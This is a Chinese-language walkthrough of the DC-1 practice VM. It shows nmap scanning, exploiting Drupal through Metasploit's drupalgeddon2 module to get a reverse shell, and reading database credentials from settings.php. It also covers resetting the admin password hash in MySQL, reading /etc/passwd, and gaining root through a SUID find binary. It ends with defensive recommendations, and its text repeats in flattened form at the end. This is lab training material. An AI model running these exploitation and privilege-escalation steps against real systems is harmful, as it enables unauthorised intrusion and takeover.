dc-1靶场练习
字数 1257 2025-08-10 16:34:39

DC-1靶机渗透测试实战教学文档

1. 环境准备

1.1 靶机下载与配置

  • 下载DC-1靶机镜像(.ova或.vmdk格式)
  • 使用VMware或VirtualBox导入镜像
  • 网络配置要求:
    • 攻击机与靶机需在同一网段
    • 无需特定网络模式(NAT或桥接均可)
    • 示例IP:
      • 攻击机:192.168.108.128
      • 靶机:192.168.108.137

2. 信息收集阶段

2.1 主机发现

nmap -sn 192.168.108.0/24
  • 识别存活主机,确认靶机IP(本例为192.168.108.137)

2.2 端口扫描

nmap -sV -p- 192.168.108.137
  • 发现开放端口:
    • 80/tcp (HTTP服务)
    • 其他可能服务端口

3. Web应用渗透

3.1 网站识别

  • 访问http://192.168.108.137
  • 识别为Drupal CMS系统

3.2 漏洞搜索

  • 搜索"Drupal漏洞":
searchsploit drupal
  • 或使用Metasploit:
msfconsole
search drupal
  • 发现7个可利用漏洞

3.3 漏洞利用

  • 尝试第一个漏洞(失败)
  • 尝试第二个漏洞(成功):
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.108.137
exploit
  • 获取反向shell

3.4 稳定shell

python -c 'import pty; pty.spawn("/bin/bash")'

4. 权限提升(第一阶段)

4.1 寻找flag1

find / -name flag*.txt -type f 2>/dev/null
  • 发现flag1.txt:
    • 内容提示:"每个好的CMS都需要一个配置文件"

4.2 查找配置文件

find / -name settings.php 2>/dev/null
  • 定位到/var/www/sites/default/settings.php
  • 发现flag2:
    • 内容提示:"需要更高权限"
    • 同时包含MySQL凭据:
      • 用户名:dbuser
      • 密码:R0ck3t

5. 数据库渗透

5.1 连接MySQL

mysql -u dbuser -pR0ck3t -D drupaldb

5.2 提取用户凭据

SELECT * FROM users;
  • 获取两个加密的用户密码

5.3 密码破解

  • 发现Drupal使用特定哈希算法
  • 哈希脚本位置:/var/www/scripts/password-hash.sh
  • 生成新哈希:
php /var/www/scripts/password-hash.sh 新密码
  • 通过数据库更新管理员密码:
UPDATE users SET pass='生成的哈希值' WHERE uid=1;

6. Web后台渗透

6.1 登录Drupal后台

  • 使用修改后的管理员凭据登录
  • 在Dashboard发现flag3:
    • 提示:"让我自己找密码"

7. 系统用户枚举

7.1 检查系统用户

cat /etc/passwd
  • 发现flag4用户

7.2 获取flag4

su flag4
cd /home/flag4
cat flag4.txt
  • 内容提示:"提权后获取root目录下的flag"

8. 权限提升(第二阶段)

8.1 检查sudo权限

sudo -l
  • 无可用命令

8.2 检查SUID权限

find / -perm -4000 2>/dev/null
  • 发现find命令具有SUID权限

8.3 利用find提权

find / -exec /bin/sh \; -quit
  • 获取root shell

9. 获取最终flag

9.1 查找root目录flag

cd /root
ls
cat thefinalflag.txt

10. 总结与关键点

  1. 信息收集至关重要:通过nmap扫描发现服务和版本信息
  2. 漏洞利用顺序:多个漏洞可能需要依次尝试
  3. 密码重置技巧:通过修改数据库重置Drupal管理员密码
  4. SUID提权:find命令的SUID权限是常见提权向量
  5. 循序渐进:每个flag都提供了下一步的线索

11. 防御建议

  1. 及时更新CMS系统补丁
  2. 限制数据库用户权限
  3. 严格控制SUID权限命令
  4. 使用强密码并定期更换
  5. 实施最小权限原则

12. 扩展学习

  1. Drupal安全加固指南
  2. Linux权限管理深入
  3. 常见SUID提权方法
  4. 数据库安全配置
  5. 渗透测试方法论
DC-1靶机渗透测试实战教学文档 1. 环境准备 1.1 靶机下载与配置 下载DC-1靶机镜像(.ova或.vmdk格式) 使用VMware或VirtualBox导入镜像 网络配置要求: 攻击机与靶机需在同一网段 无需特定网络模式(NAT或桥接均可) 示例IP: 攻击机:192.168.108.128 靶机:192.168.108.137 2. 信息收集阶段 2.1 主机发现 识别存活主机,确认靶机IP(本例为192.168.108.137) 2.2 端口扫描 发现开放端口: 80/tcp (HTTP服务) 其他可能服务端口 3. Web应用渗透 3.1 网站识别 访问http://192.168.108.137 识别为Drupal CMS系统 3.2 漏洞搜索 搜索"Drupal漏洞": 或使用Metasploit: 发现7个可利用漏洞 3.3 漏洞利用 尝试第一个漏洞(失败) 尝试第二个漏洞(成功): 获取反向shell 3.4 稳定shell 4. 权限提升(第一阶段) 4.1 寻找flag1 发现flag1.txt: 内容提示:"每个好的CMS都需要一个配置文件" 4.2 查找配置文件 定位到/var/www/sites/default/settings.php 发现flag2: 内容提示:"需要更高权限" 同时包含MySQL凭据: 用户名:dbuser 密码:R0ck3t 5. 数据库渗透 5.1 连接MySQL 5.2 提取用户凭据 获取两个加密的用户密码 5.3 密码破解 发现Drupal使用特定哈希算法 哈希脚本位置:/var/www/scripts/password-hash.sh 生成新哈希: 通过数据库更新管理员密码: 6. Web后台渗透 6.1 登录Drupal后台 使用修改后的管理员凭据登录 在Dashboard发现flag3: 提示:"让我自己找密码" 7. 系统用户枚举 7.1 检查系统用户 发现flag4用户 7.2 获取flag4 内容提示:"提权后获取root目录下的flag" 8. 权限提升(第二阶段) 8.1 检查sudo权限 无可用命令 8.2 检查SUID权限 发现find命令具有SUID权限 8.3 利用find提权 获取root shell 9. 获取最终flag 9.1 查找root目录flag 10. 总结与关键点 信息收集至关重要 :通过nmap扫描发现服务和版本信息 漏洞利用顺序 :多个漏洞可能需要依次尝试 密码重置技巧 :通过修改数据库重置Drupal管理员密码 SUID提权 :find命令的SUID权限是常见提权向量 循序渐进 :每个flag都提供了下一步的线索 11. 防御建议 及时更新CMS系统补丁 限制数据库用户权限 严格控制SUID权限命令 使用强密码并定期更换 实施最小权限原则 12. 扩展学习 Drupal安全加固指南 Linux权限管理深入 常见SUID提权方法 数据库安全配置 渗透测试方法论